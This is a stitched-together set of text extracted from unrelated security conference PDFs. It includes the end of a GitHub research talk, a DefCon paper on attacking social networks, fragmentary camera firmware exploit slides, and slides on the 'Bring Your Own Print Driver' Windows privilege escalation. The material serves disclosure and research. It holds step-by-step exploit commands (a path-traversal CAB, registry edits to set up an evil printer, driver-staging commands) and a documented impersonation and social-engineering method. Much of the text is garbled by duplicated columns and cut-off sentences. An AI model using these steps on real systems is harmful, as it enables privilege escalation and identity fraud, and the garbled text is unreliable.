Information Classification: General Lesson 2 Be a good commitizen GPG Sign your Commits Information Classification: General Information Classification: General Lesson 3 There are risks using your personal GitHub Account Information Classification: General Anyone here familiar with GitHub’s Angry Unicorn? Information Classification: General This was my GitHub Profile Page for most of 2020 Information Classification: General Lesson 4 Coordinate with GitHub Information Classification: General Before Attempting Reach out to GitHub! [email protected] Information Classification: General Lesson 5 Consider the Implications Information Classification: General Information Classification: General Conclusion Information Classification: General As Security Researchers Information Classification: General We have an obligation to society Information Classification: General We know these vulnerabilities are out there Information Classification: General “For every 500 developers you have one security researcher.” - GitHub 2020 Information Classification: General - Dan Kaminsky (1979 – 2021) “We can fix it. We have the technology. OK. We need to create the technology. Alright. The policy guys are mucking with the technology. Relax. WE'RE ON IT. Information Classification: General Black Hat Sound Bytes ● Learn CodeQL! Seriously! It’s an incredibly powerful language! ● Contribute to OpenRewrite! Deploy your security fixes at scale! ● Join the GitHub Security Lab & OpenRewrite Slack Channels! Information Classification: General Thanks Lidia Giuliano Shyam Mehta
pdf
A Atttt SSaattaann m myy FFrriieenn ttttaacckkiinngg SSoocc :::: D DeeffCCoonn SSiixxtteeee SShhaaw wnn M M aanndd N Naatthhaann H H n iiss oonn nnddss LLiisstt :: cciiaall N Neettw woorrkk eenn ((FFTTM MFFW W)) :::: M Mooyyeerr dd H Haam miieell kkss "Has what we've learned about writing software the last 20 years been expressed in the design of Web 2.0? Of course not! It can't even be said to have a 'design.' If showing people what vulnerabilities can do were going to somehow encourage software developers to be more careful about programming, Web 2.0 would not be happening. Trust model? What's that? The so-called vulnerability 'researchers' are already sharpening their knives for the coming feast." :: Marcus Ranum in InfoSec Magazine, May 2008 P.S. Thanks for lending us a whetstone, Marcus. =) Table of Contents :: About the authors ........................................................................................................... 3 :: Introduction ................................................................................................................... 4 :: Vivisecting The Social Net Model ....................................................................................... 5 :: Connections, Entities ............................................................................................. 5 :: Personae and Simulacra ......................................................................................... 5 :: Culture of Trust .................................................................................................... 6 :: Framework and Platform ........................................................................................ 6 :: Attacking Social Networks ................................................................................................ 7 :: Attacking Social Network Functionality ..................................................................... 7 :: Attacking Via Offsite Content .................................................................................. 8 :: Attacking with the IMG Tag .................................................................................... 8 :: Request Forgeries and Social Nets ........................................................................... 8 :: Attacking “Innocuous” Functions ............................................................................. 8 :: SocEng and technical attacks .................................................................................. 9 :: Attacking Social Network Applications ...................................................................... 9 :: Attacking Via Social Network Applications .............................................................. 10 :: An impersonation experiment ......................................................................................... 11 :: Connections are currency, but currency is cheap ......................................................... 13 :: Good bait yields results ........................................................................................ 14 :: About the authors :: Shawn Moyer is the founder of Agura Digital Security, a web and network security consultancy. He has led security projects for major multinational corporations and the federal government, written for Information Security magazine, and spoken previously at BH and other conferences. Shawn is currently working on a slash fanfic adaptation of 2001:A Space Odyssey, told from the perspective of Hal9000. He only accepts friend requests on Facebook if they include a DNA sample and a scanned copy of a valid driver's license or passport. :: Nathan Hamiel is a Senior Consultant for Idea Information Security and the founder of the Hexagon Security Group. He is also an Associate Professor at the University of Advancing Technology. Nathan has previously presented at numerous other conferences including DefCon, Shmoocon, Toorcon, and HOPE. Nathan spent much of DefCon 15 without shoes and is planning ahead this year with a defense-in-depth approach that includes failover footwear. He has 1,936 people in his extended network, and finds that disturbing on a number of levels. S a t a n i s o n m y F r i e n d s L i s t Page 4 :: Introduction Like most folks of a security bent (and if you're reading this, that probably means you), we've spent a lot of time watching Web 2.0 with bemusement. Promiscuous sharing of information, client-side Javascript goop, blogging, mini-blogging, micro-blogging, vlogging, social nets and social media have all given the web much of what the starry-eyed latte-chugging idealists of Web 1.0 and the dot-bomb boom were yammering on about ten years ago: a platform for anyone to create content, to connect, to share, and to carve out a little space for themselves and a few million of their closest friends. All of the above, of course, seems to run absolutely orthogonal to everything those of us in InfoSec preach: "Validate all user input. Authenticate and tokenize everything. Sanitize all output. Audit the crap out of anything before it goes live. Limit functionality to core functional requirements. Trust no one." From a securability perspective, giving every user of an application a more or less open platform to create content and write their own (carefully sanitized and oh- most-assuredly vetted) apps, stylesheets and scripts to share with their Interweb penpals sounds like the lunatics running the asylum, doesn't it? Nobody can build a sandbox that big -- or rather an infinite series of sandboxes, with a series of little tunnels between them... Does your head hurt yet? And yet, here we are. This year BlackHat and sister con DefCon invited attendees and speakers to join LinkedIn groups and are micro-blogging on Twitter (as are both of your intrepid authors). These are organizations whose members are often only known by their handles, who have lived through presenters being sued, arrested, and detained in airports, part of what is arguably the largest hacker community in existence, made up of some of the most paranoid netizens on the planet. Asking us to join their friends list? What gives? Well, let's face it. This stuff is like crack. The ability to connect and communicate in a simple interface brings the human back into the digital. The thrill of someone accepting a friend request or responding to a message in many ways evokes the old feeling you got in the heydays of BBSing when you stumbled on a new board and saw someone you knew... Someone on the other side of the screen, out there, is listening to you. Someone else out there thinks you matter. So if even those of us in the paranoid-by-profession security world are getting sucked in, and we accept this stuff isn't going away any time soon, how bad is it really? How far behind the usual safety versus features curve are we at this point? That's what we've been trying to work out. S a t a n i s o n m y F r i e n d s L i s t Page 5 :: Vivisecting The Social Net Model To build a framework for how social nets can be attacked, we spent some time trying understand all of the moving parts. There are literally hundreds of social networking sites, but most share some basic functionality, with varying degrees of flair and features, from the very sparse (Twitter, Pownce, and social components of blogging sites and forums) to the staggeringly complex features arms race between Facebook and MySpace. :: Connections, Entities An entity is simply something that can share connections with other entities. It might be a bot, it might be a group or affiliation, it might be an app, or it might be a human. If it has a friends list, it's an entity. The key here is that a connection between two entities implies some degree of trust, and each entity is a spoke that creates nth-degree connections. If you install an application, join a group, or add a connection, you've trusted that entity, and by association those in your connection list have some level of transitive trust of the entity as well. Connections and links between entities are the meat and bones of social networks, naturally. Much of SocNet attack vectors come from here, and for us, the framework of connections mean that by definition, any social network contains a social component. For our purposes, and with moves to interoperation and applications built on building connections between SocNets, we also consider connections to span not only a given site, but potentially to span other SocNets as well. :: Personae and Simulacra SocNets have a voyeuristic quality to them that seems to draw people in. Our SocNet profiles are about showing the world our perception of ourselves. Users make S a t a n i s o n m y F r i e n d s L i s t Page 6 liberal use of soft-focus pics and flattering angles -- the“LiveJournal head tilt” and the “MySpace angle shot” and create a thinner, richer, more clever simulacrum of themselves. On the business networking side, bombastic resumes and reciprocal endorsements from coworkers help build the identity of a model SocNet citizen. Effective approaches of attack take into account this seemingly universal need to build up a better-than-IRL persona. Approaches that play on vanity, or provide a way to further build the persona will yield better results. :: Culture of Trust Building a platform based on user-created content and applications means that from inception there is a basic trust of the user population. Interestingly, though, unlike other social media like Wikis, there's very little democracy involved, and users have few recourses to police bad actors other than to send complaints to an always-full complaint mailbox. Since becoming a member of a SocNet requires the initial leap of creating at least a semi-public profile, it becomes a small step to move a bit further, and accept message and connection requests from people you haven't really verified, and to share further and further information. This pervasive culture of trust and sharing is much of what makes SocNets so appealing from an attacker's standpoint. :: Framework and Platform SocNet frameworks are built on facilitating connections, and then creating rapport between those connections. Providers are constantly extending this functionality and adding new features to match up potential connections, send messages and share media, creating more affinities and eyeballs for hyperfocused targeted advertising (which ultimately, is the reason Social Nets exist in the first place). OpenSocial and other published application APIs have now made it far more possible to integrate social apps and share data between sites, and we're now seeing a move to cross-site functionality, and naturally, the creation of new shared exposure. :: Attacking Social Networks Social networks make great targets due to the fact they are large collections of individuals. Large collections of indi usually equal large collection of potential victims. also provide an environment where victims are more likely to come to an attacker. Social network culture is a trusting culture. Typically people trust by default. Whenever you hav environment where individuals trust by default there is a high degree of attacks being successful. Individuals are less likely to think that attackers would target them or that anything they have would be worth an attacker’s time. Individuals in so software is less dangerous th warnings and disclaimers aside download and install a traditional exec As of late there has been a shift of focus for social networks toward business and professionals. More and more social networks are cropping up that have this focus. There are many professional networks that cater to business pr like LinkedIn, Plaxo, and Naymz, and Facebook has also worked at attracting some level of professional networking. become a path into a corporate user population and a new vector for targeted attacks. :: Attacking A quick inventory of what an attacker has at their disposal when attacking social networks reveals quite a few possibilities. Social networks are constructed with a great majority of their content provided by their users. Thi introduce many potential vulnerabilities. The more restrictions that are the less “open” restrictive they risk losing their users to other networks. S a t a n i s o n m y F r i e n d s L i s t Attacking Social Networks Social networks make great targets due to the fact they are large collections of individuals. Large collections of individuals usually equal large collection of tial victims. Social networks also provide an environment where victims are more likely to come to an attacker. Social network culture is a trusting culture. Typically people trust by default. Whenever you have an environment where individuals trust by default there is a high degree of attacks being successful. Individuals are less likely to think that attackers would target them or that anything they have would be worth an attacker’s time. Individuals in social nets may also have the perception that browser based software is less dangerous than installed software. Users are far more warnings and disclaimers aside, to install social download and install a traditional executable. As of late there has been a shift of focus for social networks toward business and professionals. More and more social networks are cropping up that have this focus. There are many professional networks that cater to business pr LinkedIn, Plaxo, and Naymz, and Facebook has also worked at attracting some level of professional networking. This means that Social Networks can now also become a path into a corporate user population and a new vector for targeted Attacking Social Network Functionality A quick inventory of what an attacker has at their disposal when attacking social networks reveals quite a few possibilities. Social networks are constructed with a great majority of their content provided by their users. Thi introduce many potential vulnerabilities. The more restrictions that are the less “open” the social network becomes. If the social network becomes too restrictive they risk losing their users to other networks. S a t a n i s o n m y F r i e n d s L i s t cial nets may also have the perception that browser based ed software. Users are far more likely, social applications than they are to utable. As of late there has been a shift of focus for social networks toward business and professionals. More and more social networks are cropping up that have this focus. There are many professional networks that cater to business professionals, LinkedIn, Plaxo, and Naymz, and Facebook has also worked at attracting some This means that Social Networks can now also become a path into a corporate user population and a new vector for targeted Social Network Functionality A quick inventory of what an attacker has at their disposal when attacking social networks reveals quite a few possibilities. Social networks are constructed with a great majority of their content provided by their users. This content model can introduce many potential vulnerabilities. The more restrictions that are put in place, s. If the social network becomes too restrictive they risk losing their users to other networks. Page 7 cial nets may also have the perception that browser based , to As of late there has been a shift of focus for social networks toward business and professionals. More and more social networks are cropping up that have this ofessionals, LinkedIn, Plaxo, and Naymz, and Facebook has also worked at attracting some This means that Social Networks can now also become a path into a corporate user population and a new vector for targeted A quick inventory of what an attacker has at their disposal when attacking social networks reveals quite a few possibilities. Social networks are constructed with s content model can put in place, s. If the social network becomes too S a t a n i s o n m y F r i e n d s L i s t Page 8 With large numbers of users as members of social networks and an increasing membership these networks are going to continue to be attacked. Large numbers of users also make the impact of vulnerabilities much worse and raises the success of the for attacks. :: Attacking Via Offsite Content Offsite content cannot be controlled in any way by the social network. It is possible to hijack calls for this offsite content and steal the request. Once a malicious user steals the request it is at the mercy of the attacker where they want the request to go. It appears that many sites that do allow linking to offsite content allow it everywhere on their site allowing an attacker multiple opportunities to link to their content. :: Attacking with the IMG Tag The IMG tag is often used in XSS, via the ONERROR, ONCLICK, tags, etc, but even if a site sanitizes properly for XSS, links to offsite content could still be used to attack both offsite systems and the social network itself. With the IMG tag the browser basically gives you a free GET request. Even if file extensions are sanitized to .jpg, .gif, etc you can still use URL injection on another site or any number of free URL forwarding services to redirect the GET request anywhere, including back to the social networking site from which the request originated. Since a high-traffic profile might get thousands of views a day, and since simply viewing a profile will cause the client to make a request, there are thousands of possibilities for using the IMG tag and other links to external content to forge request and attack clients. Essentially, with a bit of social engineering, any SocNet site that allows unverified links to external content, IMG tag or otherwise, place some level of control of the user into the hands of the attacker. :: Request Forgeries and Social Nets We identified several issues with regard to request forgery on a number of sites that we reviewed. These request forgeries could be either from the same site (SSRF???) or across sites as typical CSRF -- you view my page on one site, and our CSRF caused you to install an app, send a message, or add us as a friend on another site, etc. :: Attacking “Innocuous” Functions Certain functions are considered blatantly important and require protection. Developers often realize that account changes, profile changes, sending messages, S a t a n i s o n m y F r i e n d s L i s t Page 9 etc. require some form of protection, but do not consider other functions as important. There are other functions that seem innocuous that can be used to create some pretty nasty conditions. Many built-in functions are not something that is typically seen as a “privileged” function and as such not seen as requiring safeguards. Logout functionality, for example, can be used to create a sort of denial of service against a target. This attack is done by creating a request forgery to the logout functionality of the site. When a user views content linked to this logout they are then logged out of the social networking site. This is an effective way to end someone’s SocNet profile, which could be useful in assuming their persona for oneself. In the case of many social networking sites the content is often rendered to both the viewers of profile content and also the owners of profile content. This means that the administration to remove items such as malicious comments can be difficult because they are being logged out of that portion of the site prior to being able to delete the content. :: SocEng and technical attacks Both social and technical attacks can be combined to increase effectiveness of attacks. For example, if there were an instance where an attacker wanted to assume someone’s persona, they could launch a technical attack against the persona’s profile and follow it up by standing up a new profile. They would then attempt to re-add the individuals from the persona’s friends list and just state that something had happened to their profile. A technical attack that would compliment this social attack would be an attack that blocks communication from the individuals account. With the individual no longer able to contact people on his friends list it might take some time to get noticed. :: Attacking Social Network Applications Social network applications can also be attacked in the same way another other web applications are attacked. The same vulnerabilities that plague traditional web applications are also relevant here. These applications are often created by individuals who are merely members of the social network and have very little programming or security background. The prerequisites for creating and deploying applications on a social network differ between networks but can be as simple as just merely having five friends or just asking for the access. With such a low bar there is bound to be plenty of people with relatively little programming and security experience. This can put the information collected by the application at risk to compromise. Application developers may unknowingly introduce vulnerabilities in to their S a t a n i s o n m y F r i e n d s L i s t Page 10 applications that would allow a malicious user to exploit them. Previously there have been vulnerabilities in social network applications that allow malicious users to take actions in the name of someone else. Although on the surface this may seem like nothing more than mischief, a compromise in the application’s data could allow for an attacker to access private information of the user. :: Attacking Via Social Network Applications Social network applications add another layer on top of the installed base infrastructure. This allows developers to extend the functionality of the social network and add features that are not natively available to their users. There are many of these applications available and their functionality ranges from just displaying static content to actively taking actions with other users. These applications make great delivery methods for attacking users for several reasons. The applications are rendered in a browser window and not installed on a user’s computer. This rendering gives unknowing users a feeling of safety because they are not “installing” applications on their computer. Many users consider viruses and malware to be delivered when they install something on their computers. It is easy to target people and get a high rate of installs on your application if you choose the right delivery method. People want to install things that are cool and popular. Frameworks that can be used across multiple social networks provide an attacker with an environment that is build once - literally, "write once, own anywhere". An attacker only has to build one malicious application and they can multiply their potential targets by installing them on supported social networks. Social network applications have a an implied endorsement, of being published by the social network. Even though there are many statements to the contrary, to an average user it appears they get these applications from the social network itself. On top of this, the application's EULA absolves the social net from all responsibility. S a t a n i s o n m y F r i e n d s L i s t Page 11 :: An impersonation experiment As we started thinking about some of the SocEng scenarios we wanted to run through for this project, something we kept coming back to was impersonation. The lack of validation and culture of trust in social networks seemed to be just begging for an impersonation scenario. Social net personae have zero or less authentication -- zero in that you're taken on your word that you are who you say you are (and via the social proof of your persona's connections, which we'll get to in a bit), and less than zero in that it's trivial to change that persona or create a new one and become someone else. A number of highly public figures, most notably presidential candidate Barack Obama, have had profiles created on their behalf without their permission. Obviously, the ongoing Megan Meier case has shown the potential destructive power a well-crafted and plausible identity on a Social Net can wield. While in Obama's case the intention was benign, having access to so many clients (targets) is a powerful exploitative tool, especially if paired with a mechanism to execute code on the client like a trojaned app or even something as trivial as a link to site full of malware. To us, impersonating a high-profile person was especially interesting because the target has the same powerful pull that "Josh Evans" had for Megan Meier -- we all want to connect with someone out of our league, someone a few notches above us in the SocNet hierarchy. Celebrities, however minor, have a universal appeal, and connections to them add powerful credibility to the online personae that SocNet users strive to create for themselves. We decided to engage in a social experiment to see how many connections we could build with a doppelganger, and how long it might take until the impersonation was exposed. As Dan Kaminsky has said, why weaponize the obvious? We decided that obtaining a sigificant number of credible connections was enough to prove the exposure -- once the connection and trust were built the number of exploitation vectors at an attacker's disposal were too numerous to list. With the above in mind, we spent some time searching for public figures in the InfoSec community that weren't active on social networks. The resonance? We're supposed to be the paranoid ones, right? The voices of reason, the chasers of the foxes from the henhouse. Once we'd identified a shortlist, Shawn sent the following mail to each of our candidates, CC-ing BlackHat founder Jeff Moss to add some credibility to our excercise: Subject: Becoming $INFOSEC_LUMINARY: (We would like to impersonate you!) I wanted to run this by you before we started to do some work. We met briefly following $RANDOM_ANECDOTE_FROM_SECURITY_CONFERENCE. Nathan Hamiel and I are security consultants and frequent security conference speakers, and are currently working on a talk about exposures in Social Networking. The talk has been submitted to BlackHat, as well as to DefCon. S a t a n i s o n m y F r i e n d s L i s t Page 12 As someone with tremendous visibility and known views about security and privacy, we thought it would be especially interesting to impersonate, well... You. :) Our intent is to point out that in addition to a number of technical issues we've found, Social Net sites have zero validation of real identity, and that as long as a plausible effort is made (bio, "candid" photo, etc), there's a staggering amount of trust open to exploitation in these environments. What we're proposing is to create an alias online posing as you on a number of Social Networking sites, and see how many folks will accept a connection request, and how many will request a connection. Once the experiment is complete we will either delete the profile, or (if you prefer), hand the credentials over to you. Our request to you, if it's amenable: Don't respond to any mails or phone calls asking if the profile is you or not. Simply file these away for a few months while we engage in the experiment. Your thoughts? A mail roughly in this format was sent to a number of security luminaries, and responses were a pretty mixed bag. Interestingly, Marcus Ranum (who totally rocks, by the way), was absolutely on board. Interesting idea!!! And I'd be game / I am game if you want to. BUT there's a small hitch -- I've gotten dozens of those linkdn-style requests in the past, and have sent people a fairly memorable "NO THANKS" note. If you start trying to impersonate me, you may get back some "what did you change your mind?" messages. :) By the way, I agree about the crappy authentication. I have a number of alternative identities that I maintain, and they were ridiculously easy to set up. One site where I have an alt-ID actually decided to improve their authentication - but then grandfathered in all the current account holders. D'oh! What works? Bootstrapping off a credit card or paypal? Eesh. mjr. We assured Marcus it was our job to perform the SocEng, and if his friends and accquintances didn't buy the gambit because we didn't "play" him properly, that was useful to the experiment as well. A few weeks later we got started, and created our "Evil Ma profile: Building a plausible profile and resume was trivial: we copied a PR photo from a recent conference engagement, bio information from Marcus' own website, and built a resume from Wikipedia entries and the inevitable press relea issued when Marcus joined companies over the past ten years or so. Some information was conjecture, but most was from publically available information. :: Connections are currency, but currency is cheap As soon as our profile was created, building enough connections to give the profile some credibility. Like most Social Nets, LinkedIn has a sort of parasitic underbelly of users that gleefully accept friend requests from anyone, on the somewhat bizarre (apparently composed of other people doing the same thing), presumably for spamming links to vanity blog posts and headhunting recruiters, or the usual Web2.0 suspects: bloggers, "career coaches", and entrepenuers". On LinkedIn these people call euphemistically themselves "open networkers", S a t a n i s o n m y F r i e n d s L i s t A few weeks later we got started, and created our "Evil Ma Building a plausible profile and resume was trivial: we copied a PR photo from a recent conference engagement, bio information from Marcus' own website, and built a resume from Wikipedia entries and the inevitable press relea issued when Marcus joined companies over the past ten years or so. Some information was conjecture, but most was from publically available information. :: Connections are currency, but currency is cheap As soon as our profile was created, we started fabricating credibility by building enough connections to give the profile some credibility. Like most Social Nets, LinkedIn has a sort of parasitic underbelly of users that gleefully accept friend requests from anyone, on the somewhat bizarre (apparently composed of other people doing the same thing), presumably for spamming links to vanity blog posts and headhunting recruiters, or the usual Web2.0 suspects: bloggers, "career coaches", and entrepenuers". On LinkedIn these people call euphemistically themselves "open networkers", S a t a n i s o n m y F r i e n d s L i s t A few weeks later we got started, and created our "Evil Marcus" LinkedIn Building a plausible profile and resume was trivial: we copied a PR photo from a recent conference engagement, bio information from Marcus' own website, and built a resume from Wikipedia entries and the inevitable press releases that were issued when Marcus joined companies over the past ten years or so. Some information was conjecture, but most was from publically available information. :: Connections are currency, but currency is cheap we started fabricating credibility by building enough connections to give the profile some credibility. Like most Social Nets, LinkedIn has a sort of parasitic underbelly of users that gleefully accept friend requests from anyone, on the somewhat bizarre pretense of "building a network" (apparently composed of other people doing the same thing), presumably for spamming links to vanity blog posts and headhunting -- most are either IT recruiters, or the usual Web2.0 suspects: bloggers, "career coaches", and "Internet On LinkedIn these people call euphemistically themselves "open networkers", Page 13 rcus" LinkedIn Building a plausible profile and resume was trivial: we copied a PR photo from a recent conference engagement, bio information from Marcus' own website, and ses that were information was conjecture, but most was from publically available information. we started fabricating credibility by building enough connections to give the profile some credibility. Like most Social Nets, LinkedIn has a sort of parasitic underbelly of users that gleefully accept friend pretense of "building a network" (apparently composed of other people doing the same thing), presumably for "Internet On LinkedIn these people call euphemistically themselves "open networkers", S a t a n i s o n m y F r i e n d s L i s t Page 14 and are members of a number of groups, the most visible of which are TopLinked.com and LION ("LinkedIn Open Networkers"). A quick Google search gave us enough "open networkers" to build our connection list: "invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates Within in a hour of creating our profile, we sent 50 or so connection requests. In 12 hours, we had 42 connections, a plausible enough number to make our profile credible. We then began joining security networking communities to build some more creditibility. By the middle of first day, our profile was a member of the CISO: Meaningful Metrics, ISACA, Executive Suite, Enterprise Security, Security Leaders, and BlackHat (which in Jeff's defense accepts requests from anyone -- we were asked for further validation to join the smaller BlackHat Speakers group) LinkedIn networking groups. :: Good bait yields results So our doppelganger was alive now -- a plausible, credible Marcus Ranum persona on a Social Network, in less than 24 hours. Our next step was to spend some time waiting for connection requests and bide our time before engaging in more directed social engineering. Our first connection request came from the CSO of a security firm, within six hours of creating the profile. The next was the former CSO of a fortune 100 multinational. After that, we received a connection request from a member of Marcus' immediate family. Following that we made connections with a security consultant in Chicago, and the chief technical editor of a well-known security publication. Within 24 hours, we had created a plausible profile and obtained rapport with high-value targets, with minimal effort. Not one person questioned the Marcus profile, and many users sent personal messages saying how excited that they were to see Marcus online. It seems obvious that if our doppelganger had sent a link to a new website, or asked the user to try out a new app, the success ratio would be substantially higher than a typical anonymous phish.
pdf
@EyalItkin Mystery Callback No size check: Classic Buffer Overflow 0x000022B6 0x000022B6 Compromised Camera Firmware Update Compromised Camera Firmware Update Compromised Camera Firmware Update Plain Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Malicious Update Compromised Camera! No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera! No User interaction Needed! [email protected] @EyalItkin
pdf
1 BRING YOUR OWN PRINT DRIVER VULNERABILITY Jacob Baines 7 August 2021 2 AGENDA Background Research Print Driver Installation BYOPD Exploitation Detection & Mitigations 3 SLIDES & CODE AVAILABLE https://github.com/jacob-baines/concealed_position 4 SPEAKER INTRODUCTION Jacob Baines Vulnerability Researcher @Junior_Baines jacob-baines 5 BACKGROUND: PREVIOUS PRINTER VULNERABILITIES 6 BACKGROUND RESEARCH RICOH PRINT DRIVER VULNERABILITY • CVE-2019-19363 • Full disclosure by Pentagrid • Metasploit module by Shelby Pace • Privilege escalation to SYSTEM via %PROGRAMDATA% DLL overwrite during printer install. • Driver must be installed on the system. 7 BACKGROUND RESEARCH PRINTDEMON • CVE-2020-1048 • Technical write up by Yarden Shafir and Alex Ionescu • Metasploit module by Brendan Watters • Arbitrary file write as SYSTEM by printing to a printer with attacker controlled file port 8 BACKGROUND RESEARCH PRINTDEMON PATCH BYPASS • CVE-2020-1337 • Technical writeup by Voidsec • Metasploit module by Brendan Watters • Bypasses the patch by altering the file port to use a junction after permissions have been checked https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337 9 BACKGROUND RESEARCH EVIL PRINTER • CVE-2020-1300 • Presented at DEF CON 28 by Zhipheng Huo and Chuanda Ding. • Technical writeup of CAB parsing by ZDI (no PoC) • Local privilege escalation. • Path Traversal in CAB file. Delivered by a remote printer or local admin https://twitter.com/steventseeley/status/1323694078022848512 10 EXECUTING EVIL PRINTER 11 EVIL PRINTER ATTACK OVERVIEW 1. Add Printer 2. Send malicious CAB file 3. Unpack CAB 12 EVIL PRINTER PRINTER SIDE: CREATING THE CAB > echo “ualapi.dll” “../../ualapi.dll” > files.txt > makecab /f files.txt > move disk1/1.cab exploit.cab ualapi.dll reference: https://enigma0x3.net/2019/07/24/cve-2019-13382-privilege-escalation-in-snagit/ 13 EVIL PRINTER PRINTER SIDE: DLL SOURCE https://github.com/jacob-baines/concealed_position/blob/main/src/cp_payload/dllmain.cpp 14 EVIL PRINTER PRINTER SIDE: BECOMING A PRINTER 1. Install CutePDF Writer 2. Set the CutePDF Writer as a shared printer 3. Turn off password protected sharing (Advanced Sharing) 4. Turn on printer sharing (Advanced Sharing) 5. Modify the following registry values in HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows\x64\Dri vers\Version3\CutePDF Writer v4.0 a. PrinterDriverAttributes = 1 b. InfPath = C:\exploit\exploit.inf 6. Create an empty file at C:\exploit\exploit.inf 7. Copy exploit.cab to C:\Windows\System32\spool\drivers\x64\PCC\ 8. Reboot 15 EVIL PRINTER CLIENT SIDE 16 EVIL PRINTER CLIENT SIDE FILE DROPPED 17 EVIL PRINTER CLIENT SIDE EXPLOITED 18 EVIL PRINTER TRY YOURSELF! 19 EVIL PRINTER STILL USEFUL? https://twitter.com/R3dF09/status/1271485928989528064 20 INSTALLING A PRINT DRIVER 21 INSTALLING A PRINT DRIVER REVISITING RICOH • Reminder: CVE-2019-19363 • Race condition when AddPrinter is called. • DLL are dropped into a directory in ProgramData. • A low privileged user can overwrite the DLL. • If timed correctly, PrinterIsolationHost.exe will load the attacker DLL as SYSTEM. 22 INSTALLING A PRINT DRIVER RICOH DRIVER ONLY USEFUL WHEN AVAILABLE 23 INSTALLING A PRINT DRIVER RICOH DRIVER ONLY USEFUL WHEN AVAILABLE 24 INSTALLING A PRINT DRIVER NOT SO USEFUL WHEN UNAVAILABLE 25 INSTALLING A PRINT DRIVER CAN IT BE INSTALLED? • Obviously, can’t exploit a driver not on the system. • But can a low privileged user install the vulnerable Ricoh print driver? • How? • Ricoh installer? • Add printer UI? • Powershell? • printui.dll? • prndrvr.vbs? • WinAPI? 26 INSTALLING A PRINT DRIVER USING THE RICOH INSTALLER? 27 INSTALLING A PRINT DRIVER USING THE ADD PRINTER UI? 28 INSTALLING A PRINT DRIVER USING POWERSHELL? Add-PrinterDriver -Name “PCL6 Driver for Universal Print” -InfPath “C:\Users\lowlevel\Downloads\disk1\oemsetup.inf” https://docs.microsoft.com/en-us/powershell/module/printmanagement/add-printerdriver?view=windowsserver2019-ps 29 INSTALLING A PRINT DRIVER USING PRINTUI.DLL? rundll32 printui.dll PrintUIEntry /ia /m “PCL6 Driver for Universal Print” /r “lpt1:” /f C:\Users\lowlevel\Downloads\disk1\oemsetup.inf 30 INSTALLING A PRINT DRIVER USING PRNDRVR.VBS? cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\prndrvr.vbs -a -m “PCL6 Driver for Universal Print” -v 3 -e “Windows x64” -i C:\Users\lowlevel\Downloads\disk1\oemsetup.inf 31 INSTALLING A PRINT DRIVER USING THE WINAPI? https://docs.microsoft.com/en-us/windows/win32/printdocs/installprinterdriverfrompackage 32 INSTALLING A PRINT DRIVER AS A LOW LEVEL USER How do we get a print driver into the driver store?! 33 STAGING A PRINT DRIVER 34 STAGING A PRINT DRIVER WHAT IS THE DRIVER STORE? • From Microsoft’s Drive Store documentation: Starting with Windows Vista, the driver store is a trusted collection of inbox and third-party driver packages. The operating system maintains this collection in a secure location on the local hard disk. ... Before a driver package is copied to the driver store, the operating system first verifies that the digital signature is correct. • The trusted location is C:\Windows\System32\DriverStore • Copying a driver into Driver Store is called staging 35 STAGING A PRINT DRIVER WHO CAN STAGE DRIVERS? • Administrators • pnputil.exe often the tool of choice. 36 STAGING A PRINT DRIVER STANDARD USER CAN NOW USE THE DRIVER Add-Printer -Name “lol” -DriverName “PCL6 Driver For Universal Print” -PortName “lpt1:” 37 STAGING A PRINT DRIVER CAN SOMEONE ELSE STAGE DRIVERS? 38 STAGING A PRINT DRIVER CAN SOMEONE ELSE STAGE DRIVERS? From Microsoft’s Point and Print with Driver Packages documentation: A print client that is connected to a print server can use point and print to copy an entire driver package for installation. ... Driver signing and driver integrity are checked on the print client. ... Driver package installation requires a driver store, which is not available on versions of Windows earlier than Windows Vista. 39 STAGING A PRINT DRIVER CAN SOMEONE ELSE STAGE DRIVERS? An evil printer can stage a print driver! 1. GetPrinterDriver 2. Send a packaged driver (CAB) 3. Add to Driver Store 40 STAGING A PRINT DRIVER POC || GTFO An evil printer can stage a print driver! 1. GetPrinterDriver 2. Send a packaged driver (CAB) 3. Add to Driver Store 41 STAGING A PRINT DRIVER CREATING A RICOH CAB > dir /s /b /a-d > ../files.txt > makecab /D MaxDiskSize=268435456 /d “CabinetName1=oemsetup.cab” /f ../files.txt 42 STAGING A PRINT DRIVER CREATING A RICOH CAB > dir /s /b /a-d > ../files.txt > makecab /D MaxDiskSize=268435456 /d “CabinetName1=oemsetup.cab” /f ../files.txt 43 STAGING A PRINT DRIVER RICOH CAB INTEGRITY 44 STAGING A PRINT DRIVER CONFIGURE EVIL PRINTER WITH THE RICOH CAB • Exactly like the CVE-2020-1300 attack • To configure evil printer: • Refer back to earlier slides for set up OR • Use the tool we’ll talk about shortly 45 STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE 46 STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE 47 STAGING A PRINT DRIVER RICOH DRIVER IS STAGED 48 STAGING A PRINT DRIVER IS THIS A WINDOWS VULNERABILITY? YES! ● We crossed a security boundary ● A standard user wrote a driver of their choosing into the Driver Store ● The driver we chose let’s us escalate to SYSTEM. 49 STAGING A PRINT DRIVER IS THIS A WINDOWS VULNERABILITY? NO! ● This is working as designed. ● Features aren’t vulnerabilities. 50 STAGING A PRINT DRIVER IS THIS A WINDOWS VULNERABILITY? 51 STAGING A PRINT DRIVER IS THIS USEFUL? YES! ● Nothing stopping us from installing old print drivers with known vulnerabilities ● No obvious way to patch this 52 BRING YOUR OWN PRINT DRIVER VULNERABILITY 53 BRING YOUR OWN PRINT DRIVER VULNERABILITY TOOL INTRODUCTION: CONCEALED POSITION https://github.com/jacob-baines/concealed_position/ 54 BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION ● Developed in 